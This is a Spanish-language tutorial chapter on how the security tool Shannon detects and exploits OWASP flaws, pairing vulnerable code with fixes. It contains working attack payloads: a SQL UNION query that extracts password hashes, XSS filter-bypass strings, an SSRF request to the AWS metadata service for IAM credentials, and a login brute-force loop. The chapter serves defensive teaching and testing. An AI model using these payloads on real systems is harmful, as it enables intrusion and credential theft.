Capítulo 5: Vulnerabilidades OWASP que Detecta Shannon

Por: Artiko
shannonowaspsqlixssssrfinyecciónautorizaciónautenticación

Capítulo 5: Vulnerabilidades OWASP que Detecta Shannon

Shannon cubre cuatro grandes categorías del OWASP Top 10, con agentes especializados en cada una. Este capítulo explica qué busca Shannon dentro de cada categoría, cómo detecta las vulnerabilidades desde el código fuente y cómo las explota en runtime.

Mapa de cobertura OWASP

graph TD
    OWASP["OWASP Top 10 2021"] --> A01["A01: Broken Access Control\n✅ Shannon cubre"]
    OWASP --> A02["A02: Cryptographic Failures\n⚠️ Parcial (Shannon Pro)"]
    OWASP --> A03["A03: Injection\n✅ Shannon cubre"]
    OWASP --> A04["A04: Insecure Design\n⚠️ Parcial (lógica de negocio)"]
    OWASP --> A05["A05: Security Misconfiguration\n⚠️ Reconocimiento básico"]
    OWASP --> A06["A06: Vulnerable Components\n✅ Shannon Pro SCA"]
    OWASP --> A07["A07: Auth Failures\n✅ Shannon cubre"]
    OWASP --> A08["A08: Software Integrity\n❌ Fuera de alcance"]
    OWASP --> A09["A09: Security Logging\n⚠️ Reconocimiento"]
    OWASP --> A10["A10: SSRF\n✅ Shannon cubre"]
    OWASP --> XSS_N["A03 subcat.: XSS\n✅ Shannon cubre"]

Categoría 1: Inyección

¿Qué es?

Los ataques de inyección ocurren cuando datos no confiables se envían a un intérprete como parte de un comando o query. El intérprete ejecuta los datos como si fueran instrucciones del programador.

Las variantes más comunes:

Cómo Shannon detecta inyección en el código

El agente de inyección busca patrones específicos en el código fuente:

// ❌ Vulnerable: concatenación directa
const result = await db.query(
  `SELECT * FROM users WHERE id = ${req.params.id}`
);

// ❌ Vulnerable: template string con input del usuario
const query = `SELECT * FROM orders WHERE status = '${req.query.status}'`;

// ❌ Command injection
const output = exec(`convert ${req.body.filename} output.pdf`);

Shannon identifica:

  1. El origen del dato (parámetro HTTP, body, header, cookie)
  2. La ruta de flujo hasta el intérprete (query, exec, eval)
  3. Si hay sanitización en el camino o no
  4. El tipo de intérprete (PostgreSQL, MongoDB, bash, etc.)

Proceso de explotación de SQL Injection

sequenceDiagram
    participant A as Agente de Explotación
    participant B as Browser (Playwright)
    participant App as Aplicación

    A->>B: GET /api/orders?status='
    B->>App: Petición con comilla simple
    App-->>B: Error 500 (SQL syntax error visible)
    Note over A: Confirmación básica: es vulnerable

    A->>B: GET /api/orders?status=' OR '1'='1'--
    B->>App: Petición con bypass de condición WHERE
    App-->>B: Todos los pedidos (de todos los usuarios)
    Note over A: Confirmado: SQLi boolean-based

    A->>B: GET /api/orders?status=' UNION SELECT username,password,3 FROM users--
    B->>App: Query con UNION
    App-->>B: Hashes de contraseñas en el response
    Note over A: CRÍTICO: Exfiltración de datos confirmada
    A->>A: Guardar evidencia + generar PoC

Ejemplo de hallazgo de inyección en el reporte

## [CRITICAL] SQL Injection en GET /api/orders

**Archivo afectado**: src/controllers/orders.controller.ts:89
**Parámetro vulnerable**: query string `status`

**Código vulnerable**:
```typescript
const orders = await db.query(
  `SELECT * FROM orders WHERE status = '${req.query.status}'`
);

Proof of Concept:

curl 'https://staging.app.com/api/orders?status=%27%20UNION%20SELECT%20username%2Cpassword%2C3%20FROM%20users--' \
  -H 'Authorization: Bearer TOKEN'

Evidencia: Response contiene 2,341 registros de usuarios con contraseñas hasheadas.

Remediación: Usar consultas parametrizadas:

const orders = await db.query(
  'SELECT * FROM orders WHERE status = $1',
  [req.query.status]
);

## Categoría 2: Cross-Site Scripting (XSS)

### ¿Qué es?

XSS ocurre cuando un atacante logra inyectar scripts maliciosos en contenido que otros usuarios ven en su navegador. El script se ejecuta en el contexto del sitio víctima, con acceso a cookies, tokens y DOM.

Variantes:
- **Reflected XSS** — el payload se refleja inmediatamente en la respuesta
- **Stored XSS** — el payload se guarda en la base de datos y se ejecuta para todos los visitantes
- **DOM-based XSS** — el payload manipula el DOM sin pasar por el servidor

### Cómo Shannon detecta XSS en el código

El agente XSS busca puntos donde el input del usuario se renderiza en HTML sin escapar:

```javascript
// ❌ React con dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userComment }} />

// ❌ Template string en servidor
res.send(`<h1>Bienvenido, ${req.query.name}!</h1>`);

// ❌ EJS / Handlebars sin escape
<%= userBio %>  // EJS sin escape (usar <%- con escape manual)
{{{ userContent }}}  // Handlebars triple braces

// ❌ innerHTML directo
document.getElementById('output').innerHTML = userInput;

Impacto real del XSS almacenado

Un XSS almacenado en una aplicación con muchos usuarios puede ser devastador. Shannon prioriza estos casos porque el impacto supera ampliamente al XSS reflejado:

flowchart LR
    ATK["Atacante\nposta comentario\ncon payload XSS"]
    DB["Base de datos\nguarda el payload"]
    V1["Usuario A\nvisita la página\nscript se ejecuta"]
    V2["Usuario B\nvisita la página\nscript se ejecuta"]
    V3["Admin\nvisita la página\ntoken de admin robado"]

    ATK --> DB
    DB --> V1
    DB --> V2
    DB --> V3
    V3 -->|"Cookie/token\nexfiltrado"| ATK

Bypasses de WAF que Shannon intenta

Cuando un WAF bloquea los payloads básicos, Shannon intenta variantes:

// Payload básico (bloqueado por la mayoría de WAFs)
<script>alert(1)</script>

// Variantes que Shannon prueba:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe srcdoc="<script>parent.alert(1)</script>">
"><script>alert(1)</script>
javascript:alert(1)
<a href="javascript:void(alert(1))">click</a>

// Encoding para bypass:
\u003cscript\u003ealert(1)\u003c/script\u003e
&#60;script&#62;alert(1)&#60;/script&#62;

Si ningún bypass funciona, Shannon registra la hipótesis como “no explotable” y no la incluye en el reporte. El WAF se considera efectivo para ese vector específico.

Categoría 3: Server-Side Request Forgery (SSRF)

¿Qué es?

SSRF ocurre cuando una aplicación hace peticiones HTTP a URLs controladas por el atacante. Esto permite al atacante usar el servidor como proxy para acceder a servicios internos que no son accesibles desde internet.

Casos de uso maliciosos:

Detección de SSRF en código fuente

El agente SSRF busca patrones donde URLs controladas por el usuario se usan en peticiones HTTP del servidor:

// ❌ URL directamente del usuario
const response = await fetch(req.body.webhookUrl);

// ❌ URL construida con input del usuario
const imageUrl = `https://cdn.example.com/${req.query.path}`;
const image = await fetch(imageUrl);

// ❌ Importar módulos desde URLs del usuario
const module = await import(req.body.moduleUrl);

// ❌ DNS lookup con input del usuario
const result = await dns.resolve(req.params.hostname);

Explotación de SSRF contra metadata de AWS

Si la aplicación corre en AWS EC2, un SSRF puede revelar las credenciales de IAM de la instancia:

# Shannon intenta acceder al servicio de metadata de AWS
# a través del SSRF en el servidor

# Payload para el campo webhookUrl:
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Respuesta si es vulnerable:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalrXUtnFEMI...",
  "Token": "IQoJb3JpZ2...",
  "Expiration": "2026-04-20T20:00:00Z"
}

Shannon clasifica estos hallazgos como CRÍTICO porque las credenciales de IAM pueden dar acceso completo a toda la infraestructura AWS de la empresa.

sequenceDiagram
    participant A as Atacante (via SSRF)
    participant App as Servidor de la App
    participant IMDS as AWS Metadata Service\n169.254.169.254

    A->>App: POST /api/webhooks\n{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
    App->>IMDS: GET /latest/meta-data/iam/security-credentials/
    IMDS-->>App: ec2-role-name
    App->>IMDS: GET /latest/meta-data/iam/security-credentials/ec2-role-name
    IMDS-->>App: AccessKeyId, SecretAccessKey, Token
    App-->>A: Credenciales IAM en el response

Categoría 4: Autenticación y Autorización

Fallos de Autenticación

Shannon verifica múltiples aspectos de la implementación de autenticación:

JWT mal implementado

// ❌ Aceptar el algoritmo "none"
// Un atacante puede enviar un token sin firma:
// header: {"alg": "none", "typ": "JWT"}
// payload: {"sub": "1", "role": "admin"}
// signature: (vacía)

// ❌ Clave de firma débil o hardcodeada
const token = jwt.sign(payload, 'secret');  // clave débil
const token = jwt.sign(payload, '');        // clave vacía

// ❌ No verificar la firma
const payload = jwt.decode(token);  // decode ≠ verify!
// Correcto: jwt.verify(token, process.env.JWT_SECRET)

Fuerza bruta sin rate limiting

Shannon verifica si los endpoints de login tienen rate limiting efectivo:

# Shannon intenta 100 peticiones en 10 segundos al endpoint de login
for i in $(seq 1 100); do
  curl -X POST https://staging.app.com/auth/login \
    -d '{"username":"[email protected]","password":"wrong'$i'"}'
done
# Si ninguna es bloqueada: confirma ausencia de rate limiting

Fallos de Autorización (IDOR / BOLA)

El agente de autorización es especialmente valioso para aplicaciones multi-tenant. Busca endpoints que no verifican que el recurso solicitado pertenece al usuario autenticado:

// ❌ No verifica que el proyecto pertenece al usuario
router.get('/api/projects/:id', async (req, res) => {
  const project = await Project.findById(req.params.id);
  // FALTA: verificar que project.userId === req.user.id
  res.json(project);
});

// ✅ Correcto: verificación de ownership
router.get('/api/projects/:id', async (req, res) => {
  const project = await Project.findOne({
    _id: req.params.id,
    userId: req.user.id  // Solo el dueño puede acceder
  });
  if (!project) return res.status(404).json({ error: 'Not found' });
  res.json(project);
});

Shannon detecta la ausencia del check de autorización en el código y luego lo confirma accediendo al recurso de otro usuario:

# Shannon tiene dos sesiones: usuario A y usuario B
# Obtiene un project_id que pertenece a usuario B
# Luego intenta accederlo con la sesión del usuario A

curl -H "Authorization: Bearer TOKEN_USUARIO_A" \
  https://staging.app.com/api/projects/PROYECTO_DE_USUARIO_B

# Si responde 200 con los datos: IDOR confirmado [HIGH]
# Si responde 403 o 404: el check de autorización funciona

Escalación de privilegios

Shannon también verifica si un usuario con rol bajo puede acceder a endpoints de admin:

flowchart TD
    LOW["Sesión con rol: viewer"] --> ADMIN_EP["/api/admin/users"]
    ADMIN_EP --> R1{"¿Respuesta?"}
    R1 -->|"200 OK"| PRIV["CONFIRMADO: Escalación de privilegios [HIGH]"]
    R1 -->|"403 Forbidden"| OK["Check de autorización funciona"]

Resumen de cobertura por stack tecnológico

Shannon adapta sus payloads al stack identificado en la Fase 1:

StackInyección específicaNotas
PostgreSQL' OR 1=1--, UNION-based, pg_sleepShannon sabe distinguir entre Prisma y raw queries
MongoDB{"$gt": ""}, {"$where": "..."}NoSQL injection patterns
MySQLSLEEP(5), LOAD_FILE()Time-based blind SQLi
RedisComandos directos si el input llega al driverMenos común pero devastador
Express/NodeTemplate injection en EJS/HandlebarsShannon verifica el motor de plantillas
Django/Python{{7*7}} para SSTI en Jinja2Detectado por stack fingerprinting

Limitaciones de Shannon en esta versión

Shannon no cubre (aún):

Estas limitaciones son cubiertas parcialmente en Shannon Pro mediante las pruebas de lógica de negocio.

Siguiente paso

El último capítulo cubre Shannon Pro, la versión comercial que agrega análisis estático agéntico con grafos de propiedades de código, SCA con alcanzabilidad y correlación estático-dinámica.

→ Capítulo 6: Shannon Pro — AppSec Platform Completa